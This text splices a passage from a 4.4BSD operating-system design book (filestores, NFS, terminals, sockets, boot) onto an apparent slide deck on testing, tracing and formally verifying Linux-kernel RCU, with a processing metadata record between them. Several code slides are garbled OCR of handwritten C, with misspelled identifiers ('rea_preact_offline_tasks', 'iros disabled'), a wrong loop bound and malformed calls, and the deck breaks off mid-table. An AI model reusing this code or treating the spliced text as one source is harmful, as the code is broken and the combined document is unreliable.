The operations defined for local filesystems are divided into two parts. Common to all local filesystems are hierarchical naming, locking, quotas, attribute management, and protection. These features are independent of how the data will be stored. 4.4BSD has a single implementation to provide these semantics.
The other part of the local filesystem is the organization and management of the data on the storage media. Laying out the contents of files on the storage media is the responsibility of the filestore. 4.4BSD supports three different filestore layouts:
- The traditional Berkeley Fast Filesystem
- The log-structured filesystem, based on the Sprite operating-system design [Rosenblum & Ousterhout, 1992]
- A memory-based filesystem
Although the organizations of these filestores are completely different, these differences are indistinguishable to the processes using the filestores.
The Fast Filesystem organizes data into cylinder groups. Files that are likely to be accessed together, based on their locations in the filesystem hierarchy, are stored in the same cylinder group. Files that are not expected to accessed together are moved into different cylinder groups. Thus, files written at the same time may be placed far apart on the disk.
The log-structured filesystem organizes data as a log. All data being written at any point in time are gathered together, and are written at the same disk location. Data are never overwritten; instead, a new copy of the file is written that replaces the old one. The old files are reclaimed by a garbage-collection process that runs when the filesystem becomes full and additional free space is needed.
The memory-based filesystem is designed to store data in virtual memory. It is used for filesystems that need to support fast but temporary data, such as /tmp. The goal of the memory-based filesystem is to keep the storage packed as compactly as possible to minimize the usage of virtual-memory resources.
2.1.9. Network Filesystem
Initially, networking was used to transfer data from one machine to another. Later, it evolved to allowing users to log in remotely to another machine. The next logical step was to bring the data to the user, instead of having the user go to the data—and network filesystems were born. Users working locally do not experience the network delays on each keystroke, so they have a more responsive environment.
Bringing the filesystem to a local machine was among the first of the major client-server applications. The server is the remote machine that exports one or more of its filesystems. The client is the local machine that imports those filesystems. From the local client's point of view, a remotely mounted filesystem appears in the file-tree name space just like any other locally mounted filesystem. Local clients can change into directories on the remote filesystem, and can read, write, and execute binaries within that remote filesystem identically to the way that they can do these operations on a local filesystem.
When the local client does an operation on a remote filesystem, the request is packaged and is sent to the server. The server does the requested operation and returns either the requested information or an error indicating why the request was denied. To get reasonable performance, the client must cache frequently accessed data. The complexity of remote filesystems lies in maintaining cache consistency between the server and its many clients.
Although many remote-filesystem protocols have been developed over the years, the most pervasive one in use among UNIX systems is the Network Filesystem (NFS), whose protocol and most widely used implementation were done by Sun Microsystems. The 4.4BSD kernel supports the NFS protocol, although the implementation was done independently from the protocol specification [Macklem, 1994]. The NFS protocol is described in Chapter 9.
2.1.10. Terminals
Terminals support the standard system I/O operations, as well as a collection of terminal-specific operations to control input-character editing and output delays. At the lowest level are the terminal device drivers that control the hardware terminal ports. Terminal input is handled according to the underlying communication characteristics, such as baud rate, and according to a set of software-controllable parameters, such as parity checking.
Layered above the terminal device drivers are line disciplines that provide various degrees of character processing. The default line discipline is selected when a port is being used for an interactive login. The line discipline is run in canonical mode; input is processed to provide standard line-oriented editing functions, and input is presented to a process on a line-by-line basis.
Screen editors and programs that communicate with other computers generally run in noncanonical mode (also commonly referred to as raw mode or character-at-a-time mode). In this
mode, input is passed through to the reading process immediately and without interpretation. All special-character input processing is disabled, no erase or other line editing processing is done, and all characters are passed to the program that is reading from the terminal.
It is possible to configure the terminal in thousands of combinations between these two extremes. For example, a screen editor that wanted to receive user interrupts asynchronously might enable the special characters that generate signals and enable output flow control, but otherwise run in noncanonical mode; all other characters would be passed through to the process uninterpreted.
On output, the terminal handler provides simple formatting services, including
- Converting the line-feed character to the two-character carriage-return-line-feed sequence
- Inserting delays after certain standard control characters
- Expanding tabs
- Displaying echoed nongraphic ASCII characters as a two-character sequence of the form ^C (i.e., the ASCII caret character followed by the ASCII character that is the character’s value offset from the ASCII @ character).
Each of these formatting services can be disabled individually by a process through control requests.
### 2.1.11. Interprocess Communication
Interprocess communication in 4.4BSD is organized in communication domains. Domains currently supported include the local domain, for communication between processes executing on the same machine; the internet domain, for communication between processes using the TCP/IP protocol suite (perhaps within the Internet); the ISO/OSI protocol family for communication between sites required to run them; and the XNS domain, for communication between processes using the XEROX Network Systems (XNS) protocols.
Within a domain, communication takes place between communication endpoints known as sockets. As mentioned in Section 2.6, the socket system call creates a socket and returns a descriptor; other IPC system calls are described in Chapter 11. Each socket has a type that defines its communications semantics; these semantics include properties such as reliability, ordering, and prevention of duplication of messages.
Each socket has associated with it a communication protocol. This protocol provides the semantics required by the socket according to the latter’s type. Applications may request a specific protocol when creating a socket, or may allow the system to select a protocol that is appropriate for the type of socket being created.
Sockets may have addresses bound to them. The form and meaning of socket addresses are dependent on the communication domain in which the socket is created. Binding a name to a socket in the local domain causes a file to be created in the filesystem.
Normal data transmitted and received through sockets are untyped. Data-representation issues are the responsibility of libraries built on top of the interprocess-communication facilities. In addition to transporting normal data, communication domains may support the transmission and reception
of specially typed data, termed access rights. The local domain, for example, uses this facility to pass descriptors between processes.
Networking implementations on UNIX before 4.2BSD usually worked by overloading the character-device interfaces. One goal of the socket interface was for naive programs to be able to work without change on stream-style connections. Such programs can work only if the read and write systems calls are unchanged. Consequently, the original interfaces were left intact, and were made to work on stream-type sockets. A new interface was added for more complicated sockets, such as those used to send datagrams, with which a destination address must be presented with each send call.
Another benefit is that the new interface is highly portable. Shortly after a test release was available from Berkeley, the socket interface had been ported to System III by a UNIX vendor (although AT&T did not support the socket interface until the release of System V Release 4, deciding instead to use the Eighth Edition stream mechanism). The socket interface was also ported to run in many Ethernet boards by vendors, such as Excelan and Interlan, that were selling into the PC market, where the machines were too small to run networking in the main processor. More recently, the socket interface was used as the basis for Microsoft’s Winsock networking interface for Windows.
2.1.12. Network Communication
Some of the communication domains supported by the socket IPC mechanism provide access to network protocols. These protocols are implemented as a separate software layer logically below the socket software in the kernel. The kernel provides many ancillary services, such as buffer management, message routing, standardized interfaces to the protocols, and interfaces to the network interface drivers for the use of the various network protocols.
At the time that 4.2BSD was being implemented, there were many networking protocols in use or under development, each with its own strengths and weaknesses. There was no clearly superior protocol or protocol suite. By supporting multiple protocols, 4.2BSD could provide interoperability and resource sharing among the diverse set of machines that was available in the Berkeley environment. Multiple-protocol support also provides for future changes. Today’s protocols designed for 10- to 100-Mbit-per-second Ethernets are likely to be inadequate for tomorrow’s 1- to 10-Gbit-per-second fiber-optic networks. Consequently, the network-communication layer is designed to support multiple protocols. New protocols are added to the kernel without the support for older protocols being affected. Older applications can continue to operate using the old protocol over the same physical network as is used by newer applications running with a newer network protocol.
2.1.13. Network Implementation
The first protocol suite implemented in 4.2BSD was DARPA’s Transmission Control Protocol/Internet Protocol (TCP/IP). The CSRG chose TCP/IP as the first network to incorporate into the socket IPC framework, because a 4.1BSD-based implementation was publicly available from a DARPA-sponsored project at Bolt, Beranek, and Newman (BBN). That was an influential choice: The 4.2BSD implementation is the main reason for the extremely widespread use of this protocol suite. Later performance and capability improvements to the TCP/IP implementation have also been widely
adopted. The TCP/IP implementation is described in detail in Chapter 13.
The release of 4.3BSD added the Xerox Network Systems (XNS) protocol suite, partly building on work done at the University of Maryland and at Cornell University. This suite was needed to connect isolated machines that could not communicate using TCP/IP.
The release of 4.4BSD added the ISO protocol suite because of the latter’s increasing visibility both within and outside the United States. Because of the somewhat different semantics defined for the ISO protocols, some minor changes were required in the socket interface to accommodate these semantics. The changes were made such that they were invisible to clients of other existing protocols. The ISO protocols also required extensive addition to the two-level routing tables provided by the kernel in 4.3BSD. The greatly expanded routing capabilities of 4.4BSD include arbitrary levels of routing with variable-length addresses and network masks.
### 2.1.14. System Operation
Bootstrapping mechanisms are used to start the system running. First, the 4.4BSD kernel must be loaded into the main memory of the processor. Once loaded, it must go through an initialization phase to set the hardware into a known state. Next, the kernel must do autoconfiguration, a process that finds and configures the peripherals that are attached to the processor. The system begins running in single-user mode while a start-up script does disk checks and starts the accounting and quota checking. Finally, the start-up script starts the general system services and brings up the system to full multiuser operation.
During multiuser operation, processes wait for login requests on the terminal lines and network ports that have been configured for user access. When a login request is detected, a login process is spawned and user validation is done. When the login validation is successful, a login shell is created from which the user can run additional processes.
References
|
{"Source-Url": "https://download.freebsd.org/doc/en/books/design-44bsd/design-44bsd_en.pdf", "len_cl100k_base": 14435, "olmocr-version": "0.1.50", "pdf-total-pages": 25, "total-fallback-pages": 0, "total-input-tokens": 55200, "total-output-tokens": 16012, "length": "2e13", "weborganizer": {"__label__adult": 0.0003407001495361328, "__label__art_design": 0.000469207763671875, "__label__crime_law": 0.00024139881134033203, "__label__education_jobs": 0.0017375946044921875, "__label__entertainment": 0.00013399124145507812, "__label__fashion_beauty": 0.00015103816986083984, "__label__finance_business": 0.0004696846008300781, "__label__food_dining": 0.00028228759765625, "__label__games": 0.0011730194091796875, "__label__hardware": 0.006336212158203125, "__label__health": 0.0002963542938232422, "__label__history": 0.0005850791931152344, "__label__home_hobbies": 0.0001461505889892578, "__label__industrial": 0.0005273818969726562, "__label__literature": 0.00038695335388183594, "__label__politics": 0.00019490718841552737, "__label__religion": 0.00043892860412597656, "__label__science_tech": 0.11700439453125, "__label__social_life": 7.87973403930664e-05, "__label__software": 0.036529541015625, "__label__software_dev": 0.83154296875, "__label__sports_fitness": 0.0002378225326538086, "__label__transportation": 0.0005855560302734375, "__label__travel": 0.00021696090698242188}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 72462, 0.0317]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 72462, 0.65021]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 72462, 0.92733]], "google_gemma-3-12b-it_contains_pii": [[0, 61, false], [61, 61, null], [61, 1507, null], [1507, 4680, null], [4680, 7489, null], [7489, 9842, null], [9842, 13423, null], [13423, 16447, null], [16447, 20075, null], [20075, 23638, null], [23638, 27463, null], [27463, 31102, null], [31102, 34541, null], [34541, 38329, null], [38329, 41879, null], [41879, 45393, null], [45393, 47822, null], [47822, 51752, null], [51752, 55324, null], [55324, 58552, null], [58552, 61828, null], [61828, 64902, null], [64902, 68337, null], [68337, 70321, null], [70321, 72462, null]], "google_gemma-3-12b-it_is_public_document": [[0, 61, true], [61, 61, null], [61, 1507, null], [1507, 4680, null], [4680, 7489, null], [7489, 9842, null], [9842, 13423, null], [13423, 16447, null], [16447, 20075, null], [20075, 23638, null], [23638, 27463, null], [27463, 31102, null], [31102, 34541, null], [34541, 38329, null], [38329, 41879, null], [41879, 45393, null], [45393, 47822, null], [47822, 51752, null], [51752, 55324, null], [55324, 58552, null], [58552, 61828, null], [61828, 64902, null], [64902, 68337, null], [68337, 70321, null], [70321, 72462, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 72462, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 72462, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 72462, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 72462, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 72462, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 72462, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 72462, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 72462, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 72462, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 72462, null]], "pdf_page_numbers": [[0, 61, 1], [61, 61, 2], [61, 1507, 3], [1507, 4680, 4], [4680, 7489, 5], [7489, 9842, 6], [9842, 13423, 7], [13423, 16447, 8], [16447, 20075, 9], [20075, 23638, 10], [23638, 27463, 11], [27463, 31102, 12], [31102, 34541, 13], [34541, 38329, 14], [38329, 41879, 15], [41879, 45393, 16], [45393, 47822, 17], [47822, 51752, 18], [51752, 55324, 19], [55324, 58552, 20], [58552, 61828, 21], [61828, 64902, 22], [64902, 68337, 23], [68337, 70321, 24], [70321, 72462, 25]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 72462, 0.10197]]}
|
olmocr_science_pdfs
|
2024-11-28
|
2024-11-28
|
6b7801dfa2185fe93e4fa221441ff0daf8f6378b
|
Tracing and Linux-Kernel RCU
Overview
▪ Two Definitions and a Consequence
▪ Avoiding Bugs
▪ Triggering Bugs Quickly
▪ Locating Bugs Once Triggered (Tracing Is Here)
▪ Recent Improvements In Use of Tracing
▪ Possible Future Improvements (Not Just Tracing)
▪ Summary
Two Definitions and a Consequence
Two Definitions and a Consequence
- A non-trivial software system contains at least one bug
- A reliable software system contains no known bugs
Two Definitions and a Consequence
- A non-trivial software system contains at least one bug
- A reliable software system contains no known bugs
Therefore, any non-trivial reliable software system contains at least one bug that you don't know about
Two Definitions and a Consequence
- A non-trivial software system contains at least one bug
- A reliable software system contains no known bugs
Therefore, any non-trivial reliable software system contains at least one bug that you don't know about
It is necessary to find that bug!
Avoiding Bugs
Avoiding Bugs: Design Time
- To the extent possible, establish requirements
- Hint: It never is completely possible!
- Understand the hardware and underlying software
- Shameless plug: “Is Parallel Programming Hard, And, If So, What Can You Do About It?”
- Set down design (text, figures, discussion, whatever)
- In some cases, formal verification in design, for example:
- http://lwn.net/Articles/243851/, https://lwn.net/Articles/470681/, https://lwn.net/Articles/608550/
- But need for formal verification often means too-complex design!
Avoiding Bugs: Coding Time
Avoiding Bugs: Coding Time
- Review your code carefully (can't always count on others!)
- Write the code long hand in pen on paper
- Correct bugs as you go
- Copy onto a clean sheet of paper
- Repeat until the last two versions are identical
- What constitutes “not complex”?
- Sequential code, and
- You can test it line-by-line, as in a scripting language or via gdb
Avoiding Coding Bugs: Case Study
```c
static void rcu_preempt_offline_tasks(struct rcu_state *rsp,
struct rcu_node *rnp)
{
struct rcu_node *rnp_root = rcu_get_root(rsp);
if (list_empty(rcu_task_struct(rsp, &rnp_root)))
{
int i;
for (i = 0; i < 2; i++)
{
struct task_struct *tp;
for (tp = list_entry(rnp_root->blocked_tasks[i]);
!list_empty(tp->blocked_tasks[i]);
tp = list_entry(tp->blocked_tasks[i]))
{
continue;
}
}
}
for_each_entry(tp, &rnp->tasks)
{
...
}
}
```
static void rcu_preempt_offline_tasks(struct rcu_state *rsp, struct rcu_node *rnp)
{
int i;
struct list_head *lp;
struct list_head *lp_root;
struct rcu_node *rnp_root = rcu_get_root(rsp);
struct task_struct *tp;
if (rnp == rnp_root)
return;
for (i = 0; i < 2; i++)
{
lp = &rnp->blocked_tasks[i];
while (!list_empty(lp))
{
tp = list_entry(lp->next, struct rcu_node, rcu_node_entry);
Spin_lock(&rnp_root->lock); /* irqs disabled */
list_del(&tp->rcu_node_entry);
Spin_unlock(&rnp_root->lock); /* irqs disabled */
}
}
}
static void rea_preact_offline_tasks(struct rea_state *rsp,
struct rea_node *rnp)
{
int i;
struct list_head *lp;
struct list_head *lp_root;
struct rea_node *rnp_root = rea_get_root(rsp);
struct task_struct *tp;
if (rnp == rnp_root)
return;
for (i = 0; i < 25; i++)
{
lp = &rnp->blocked_tasks[i];
lp_root = &rnp_root->blocked_tasks[i];
while (!list_empty(lp))
{
tp = list_entry(lp->next, type_t, (*tp), rea_node.entry);
spin_lock(&rnp_root->lock); /* iros disabled */
list_del(&tp->rea_node.entry);
list_add(&tp->rea_node.entry, lp_root);
tp->rea_blocked_node = rnp_root;
spin_unlock(&rnp_root->lock); /* iros disabled */
}
}
}
So, How Well Did I Do?
static void rcu_preempt_offline_tasks(struct rcu_state *rsp,
struct rcu_node *rnp,
struct rcu_data *rdp)
{
int i;
struct list_head *lp;
struct list_head *lp_root;
struct rcu_node *rnp_root = rcu_get_root(rsp);
struct task_struct *tp;
if (rnp == rnp_root) {
WARN_ONCE(1, "Last CPU thought to be offlined?");
return;
}
WARN_ON_ONCE(rnp != rdp->mynode &&
(!list_empty(&rnp->blocked_tasks[0]) ||
!list_empty(&rnp->blocked_tasks[1])));
for (i = 0; i < 2; i++) {
lp = &rnp->blocked_tasks[i];
lp_root = &rnp_root->blocked_tasks[i];
while (!list_empty(lp)) {
tp = list_entry(lp->next, typeof(*tp), rcu_node_entry);
spin_lock(&rnp_root->lock); /* irqs already disabled */
list_del(&tp->rcu_node_entry);
tp->rcu_blocked_node = rnp_root;
list_add(&tp->rcu_node_entry, lp_root);
spin_unlock(&rnp_root->lock); /* irqs remain disabled */
}
}
}
static int rcu_preempt_offline_tasks(struct rcu_state *rsp,
struct rcu_node *rnp,
struct rcu_data *rdp)
{
int i;
struct list_head *lp;
struct list_head *lp_root;
int retval;
struct rcu_node *rnp_root = rcu_get_root(rsp);
struct task_struct *tp;
if (rnp == rnp_root) {
WARN_ONCE(1, "Last CPU thought to be offlined?");
return 0; /* Shouldn't happen: at least one CPU online. */
}
WARN_ON_ONCE(rnp != rdp->mynode &&
(!list_empty(&rnp->blocked_tasks[0]) ||
!list_empty(&rnp->blocked_tasks[1])));
retval = rcu_preempted_readers(rnp);
for (i = 0; i < 2; i++) {
lp = &rnp->blocked_tasks[i];
lp_root = &rnp_root->blocked_tasks[i];
while (!list_empty(lp)) {
tp = list_entry(lp->next, typeof(*tp), rcu_node_entry);
spin_lock(&rnp_root->lock); /* irqs already disabled */
list_del(&tp->rcu_node_entry);
tp->rcu_blocked_node = rnp_root;
list_add(&tp->rcu_node_entry, lp_root);
spin_unlock(&rnp_root->lock); /* irqs remain disabled */
}
}
return retval;
}
static int rcu_preempt_offline_tasks(struct rcu_state *rsp,
struct rcu_node *rnp,
struct rcu_data *rdp)
{
int i;
struct list_head *lp;
struct list_head *lp_root;
int retval;
struct rcu_node *rnp_root = rcu_get_root(rsp);
if (rnp == rnp_root) {
WARN_ONCE(1, "Last CPU thought to be offlined?");
return 0; /* Shouldn't happen: at least one CPU online. */
}
WARN_ON_ONCE(rnp != rdp->mynode &&
(!list_empty(&rnp->blocked_tasks[0]) ||
!list_empty(&rnp->blocked_tasks[1])));
retval = rcu_preempted_readers(rnp);
for (i = 0; i < 2; i++) {
lp = &rnp->blocked_tasks[i];
lp_root = &rnp_root->blocked_tasks[i];
while (!list_empty(lp)) {
tp = list_entry(lp->next, typeof(*tp), rcu_node_entry);
spin_lock(&rnp_root->lock); /* irqs already disabled */
list_del(&tp->rcu_node_entry);
tp->rcu_blocked_node = rnp_root;
list_add(&tp->rcu_node_entry, lp_root);
spin_unlock(&rnp_root->lock); /* irqs remain disabled */
}
}
return retval;
}
Avoiding Coding Bugs: Case Study Evaluation
- The approach worked just fine for the actual coding
- However, I should have put more effort into arriving at a simpler design
- Of course, at some point you do have to start coding
- And there is a cost to refusing to move these lists: The grace-period detection code must look at rcu_node structures whose CPUs are all offline
- This is the right tradeoff now, but might not have been back in 2009
Avoiding Coding Bugs When Under Pressure
When you are fixing a critical bug, speed counts
The difference is level of risk
▶ The code is *already* broken, so less benefit to using extremely dainty process steps
▶ But *only* if you follow up with careful process
▶ Which I repeatedly learn the hard way: http://paulmck.livejournal.com/14639.html
▶ Failure to invest a few days in early 2009 cost me more than a month in late 2009!!!
Long-term perspective required
▶ And that means *you* – leave the “blame it on management” game to Dilbert cartoons
▶ Align with whatever management initiatives present themselves
But I Did All This And There Are Still Bugs!!!
- “Be Careful!!! It Is A Real World Out There!!!”
- The purpose of careful software-development practices is to reduce risk
- And another part of risk reduction is testing!
Triggering Bugs Quickly
Current RCU Regression Testing
- Stress-test suite: “rcutorture”
- [Link](http://lwn.net/Articles/154107/), [Link](http://lwn.net/Articles/622404/)
- “Intelligent fuzz testing”: “trinity”
- [Link](http://codemonkey.org.uk/projects/trinity/)
- Test suite including static analysis: “0-day test robot”
- [Link](https://lwn.net/Articles/514278/)
- Integration testing: “linux-next tree”
- [Link](https://lwn.net/Articles/571980/)
- Test the test: Mutation testing
- [Link](https://www.cs.cmu.edu/~agroce/ase15.pdf)
- Some reports of automated formal verification of RCU
- For but one example, [Link](https://arxiv.org/abs/1610.03052)
- But let's look at some example bugs...
Example 1: RCU-Scheduler Mutual Dependency
- Synchronization
- Schedule Threads
- Priority Boosting
- Interrupt Handling
So, What Was The Problem?
- Found during testing of Linux kernel v3.0-rc7:
- RCU read-side critical section is preempted for an extended period
- RCU priority boosting is brought to bear
- RCU read-side critical section ends, notes need for special processing
- Interrupt invokes handler, then starts softirq processing
- Scheduler invoked to wake ksoftirqd kernel thread:
- Acquires runqueue lock and enters RCU read-side critical section
- Leaves RCU read-side critical section, notes need for special processing
- Because in_irq() returns false, special processing attempts deboosting
- Which causes the scheduler to acquire the runqueue lock
- Which results in self-deadlock
-(See http://lwn.net/Articles/453002/ for more details.)
- Fix: Add separate “exiting read-side critical section” state
- Also validated my creation of correct patches – without testing!
Note: Remains a bug even under SC
Example 1: Bug Was Located By Normal Testing
Example 2: Grace Period Cleanup/Initialization Bug
1. CPU 0 completes grace period, starts new one, cleaning up and initializing up through first leaf rcu_node structure
2. CPU 1 passes through quiescent state (new grace period!)
3. CPU 1 does rcu_read_lock() and acquires reference to A
4. CPU 16 exits dyntick-idle mode (back on old grace period)
5. CPU 16 removes A, passes it to call_rcu()
6. CPU 16 associates callback with next grace period
7. CPU 0 completes cleanup/initialization of rcu_node structures
8. CPU 16 callback associated with now-current grace period
9. All remaining CPUs pass through quiescent states
10. Last CPU performs cleanup on all rcu_node structures
11. CPU 16 notices end of grace period, advances callback to “done” state
12. CPU 16 invokes callback, freeing A (too bad CPU 1 is still using it)
Not found via Linux-kernel validation: In production for 5 years!
Example 2: Grace Period Cleanup/Initialization Bug
Note: Remains a bug even under SC
Example 2: Grace Period Cleanup/Initialization Fix
All agree that grace period 1 starts after grace period 0 ends
Example 1 & Example 2 Results
- Example 1: Bug was located by normal Linux test procedures
- Example 2: Bug was missed by normal Linux test procedures
- Not found via Linux-kernel validation: In production for 5 years!
- On systems with up to 4096 CPUs...
- But as far as we know, this bug never did trigger in the field
- Both are bugs even under sequential consistency
- Continued improvement in RCU's regression testing is clearly needed
Why Is Improvement Needed?
- A billion+ embedded Linux devices (1.4B smartphones)
- A bug that occurs once per million years manifests three times per day
- But assume a 1% duty cycle, 10% in the kernel, and 1% of that in RCU
- 10,000 device-years of RCU per year: \( p(\text{RCU}) = 10^{-5} \)
Why Is Improvement Needed?
- A billion+ embedded Linux devices (1.4B smartphones)
- A bug that occurs once per million years manifests three times per day
- But assume a 1% duty cycle, 10% in the kernel, and 1% of that in RCU
- 10,000 device-years of RCU per year: \( p(RCU) = 10^{-5} \)
- At least 80 million Linux servers
- A bug that occurs once per million years manifests twice per month
- Assume 50% duty cycle, 10% in the kernel, and 1% of that in RCU
- 40,000 system-years of RCU per year: \( p(RCU) = 5(10^{-4}) \)
Why Is Improvement Needed?
- A billion+ embedded Linux devices (1.4B smartphones)
- A bug that occurs once per million years manifests three times per day
- But assume a 1% duty cycle, 10% in the kernel, and 1% of that in RCU
- 10,000 device-years of RCU per year: \( p(RCU) = 10^{-5} \)
- At least 80 million Linux servers
- A bug that occurs once per million years manifests twice per month
- Assume 50% duty cycle, 10% in the kernel, and 1% of that in RCU
- 40,000 system-years of RCU per year: \( p(RCU) = 5(10^{-4}) \)
- Races between RCU event pairs, \( p(bug) = p(RCU)^2 \):
- N-CPU probability of race:
\[
1 - (1 - p(bug))^N - Np(1 - p(bug))^{(N-1)}
\]
- Assume rcutorture \( p(RCU) = 1 \), compute rcutorture speedup:
- Embedded: \( 10^{12} \): 7.9 days of rcutorture testing covers one year
- Server: \( 4(10^6) \): 21.9 years of rcutorture testing covers one year
- Linux kernel releases are only about 60 days apart: RCU is moving target
So Why Do RCU Failures Appear to be Rare?
- What is rcutorture's strategy for 80M server systems?
- Other failures mask those of RCU, including hardware failures
- I know of no human artifact with a million-year MTBF
- But the Linux kernel is being used in applications that put the public at risk
- Increasing CPUs on test system increases race probability
- And many systems have relatively few CPUs
- Rare but critical operations are forced to happen more frequently
- Long-running RCU readers, CPU hotplug, expedited grace periods, RCU barrier operations, mass registration of RCU callbacks, irqs, mass return from idle, concurrent grace-period start, preemption, RCU priority boosting, quiescent-state forcing, conditional grace periods, sysidle, Tasks RCU, …
- 16 test scenarios emphasizing different aspects of RCU
- Knowledge of possible race conditions allows targeted tests
- Plus other dirty tricks learned in 25 years of testing concurrent software
- Provide harsh environment to force software to evolve quickly
Locating Bugs Once Triggered (Tracing Is Here)
Locating Bugs Once Triggered (Tracing Is Here)
- “What did I just change?” and review that code
- Break large commits into smaller commits
- Difficulty of analyzing code grows exponentially (or worse) with size
- Look at conditions in which failure occurs, rule out bystanders
- Debug printk()s and WARN_ON()s
- Especially if only executed after error is detected
- Pull code into userspace and use nicer debug tools
- Tracing
- Formal verification (more on this later if we have time)
The Common-Case RCU Bug is a Heisenbug!
The Common-Case RCU Bug is a Heisenbug!
But Tracing Still Sometimes Useful
- **Performance analysis of grace-period latencies**
- Automatic grace-period-duration analysis of rcuperf runs:
- tools/testing/selftests/rcutorture/bin/kvm-recheck-rcuperf.sh
- tools/testing/selftests/rcutorture/bin/kvm-recheck-rcuperf-ftrace.sh
- **Non-heisenbugs in grace-period computation**
- There are scripts, but they will not be permitted to see the light of day
- **Situations where something doesn’t happen**
- Hard to place the printk()\/WARN\_ON() in such situations
- Because rcutorture failed to detect an injected bug on TREE01!!!
- But it did detect it on TREE02 through TREE08
- **Learning what RCU actually does**
- Finding redundant execution (Frederic Weisbecker)
Tracing to Analyze Failure to Detect Injected Bug
- Injected bug: Each CPU seeing a new grace period clears other CPUs' bits, thus asserting that their quiescent states have already passed
- Can result in too-short grace periods when other CPUs have not yet passed through a quiescent state
- Can result in grace-period hangs by preventing up-tree propagation
- But TREE01 has only one rcu_node structure, so no up-tree to prevent
- Note that TREE01 enables preemption, but tests RCU-bh
- Readers need 50-ms delay to see bug, which are rare
- Add tracing to determine when these delays are occurring
- Current result: Many ways for RCU to evade this bug!
- Still looking for possible rcutorture improvements...
Recent Improvements In Use of Tracing
Recent Improvements In Use of Tracing
- Automatically dump ftrace buffer:
- When rcuperf completes: Gather grace-period performance data
- After rcutorture failures: Gather data on events leading to failure
- When rcu_dynticks detects idle entry/exit misnesting
- At RCU CPU stall warning time
- However, you still need to:
- Build with CONFIG_RCU_TRACE=y
- Enable relevant RCU trace events, preferably *before* the failure
Possible Future Improvements (Not Just Tracing)
Possible Future Improvements (Not Just Tracing)
- Run rcutorture in userspace (faster “hotplug” operations)
- Arrange to run rcutorture more often on a variety of arches
- Add more TBD nastiness to rcutorture
- More TBD self-defense checks in RCU
- Linux-kernel memory model
- Possibly formal verification in RCU regression testing...
Formal Verification and Regression Testing: Requirements
(1) Either automatic translation or no translation required
- Automatic discarding of irrelevant portions of the code
- Manual translation provides opportunity for human error
(2) Correctly handle environment, including memory model
- The QRCU validation benchmark is an excellent cautionary tale
(3) Reasonable memory and CPU overhead
- Bugs must be located in practice as well as in theory
- Linux-kernel RCU is 15KLoC and release cycles are short
(4) Map to source code line(s) containing the bug
- “Something is wrong somewhere” is not a helpful diagnostic: I know bugs exist
(5) Modest input outside of source code under test
- Preferably glean much of the specification from the source code itself (empirical spec!)
- Specifications are software and can have their own bugs
(6) Find relevant bugs
- Low false-positive rate, weight towards likelihood of occurrence (fixes create bugs!)
Promela/spin: Design-Time Verification
- **1993: Shared-disk/network election algorithm (pre-Linux)**
- Hadn't figured out bug injection: Way too trusting!!!
- Single-point-of failure bug in specification: Fixed during coding
- But fix had bug that propagated to field: Cluster partition
- **Conclusion**: Formal verification is trickier than expected!!!
- **2007: RCU idle-detection energy-efficiency logic**
- [http://lwn.net/Articles/243851/](http://lwn.net/Articles/243851/)
- Verified, but much simpler approach found two years later
- **Conclusion**: The need for formal verification is a symptom of a too-complex design
- **2012: Verify userspace RCU, emulating weak memory**
- Two independent models (Desnoyers and myself), **bug injection**
- **2014: NMIs can nest!!! Affects energy-efficiency logic**
- Verified Andy's code, and no simpler approach apparent thus far!!!
- **Note**: Excellent example of **empirical specification**
PPCMEM and Herd
- Verified suspected bug in Power Linux atomic primitives
- Found bug in Power Linus spin_unlock_wait()
- Verified ordering properties of locking primitives
- Excellent memory-ordering teaching tools
- Starting to be used more widely within IBM as a design-time tool
- PPCMEM: [http://lwn.net/Articles/470681/](http://lwn.net/Articles/470681/)
- Accurate but slow
- Herd: [http://lwn.net/Articles/608550/](http://lwn.net/Articles/608550/)
- Faster, but some correctness issues with RMW atomics and lwsync
- Work in progress: Formalize Linux-kernel memory model
- With Alglave, Maranget, Parri, and Stern, plus lots of architects
- Hopefully will feed into improved tooling
Alglave, Maranget, Pawan, Sarkar, Sewell, Williams, Nardelli:
“PPCMEM/ARMMEM: A Tool for Exploring the POWER and ARM Memory Models”
Alglave, Maranget, and Tautschnig: “Herding Cats: Modelling, Simulation, Testing, and Data-mining for Weak Memory”
C Bounded Model Checker (CBMC)
- Nascent concurrency and weak-memory functionality
- Valuable property: “Just enough specification”
- Assertions in code act as specifications!
- Can provide additional specifications in “verification driver” code
- Verified very small portions of RCU
- Daniel Kroening, Oxford (publish/subscribe), myself (Tiny RCU)
- Has been used to verify substantial portion of Tree RCU
- Lihao Liang, University of Oxford
- And of SRCU's core algorithm (plus an improved version)
- Lance Roy, unaffiliated (improvements from Mathieu Desnoyers)
- Conclusion: Promising, especially if SAT progress continues
Not a full state-space exploration
– Must be paired with testing?
Finds situations where scheduling decisions and memory-order changes could produce a significantly different result
More scalable than full state-space tools
Probably vulnerable to incomplete test suites
### Scorecard For Linux-Kernel C Code (Incomplete)
<table>
<thead>
<tr>
<th>Requirement</th>
<th>Promela</th>
<th>PPCMEM</th>
<th>Herd</th>
<th>CBMC</th>
</tr>
</thead>
<tbody>
<tr>
<td>(1) Automated</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>(2) Handle environment</td>
<td>MM</td>
<td></td>
<td>MM</td>
<td>MM</td>
</tr>
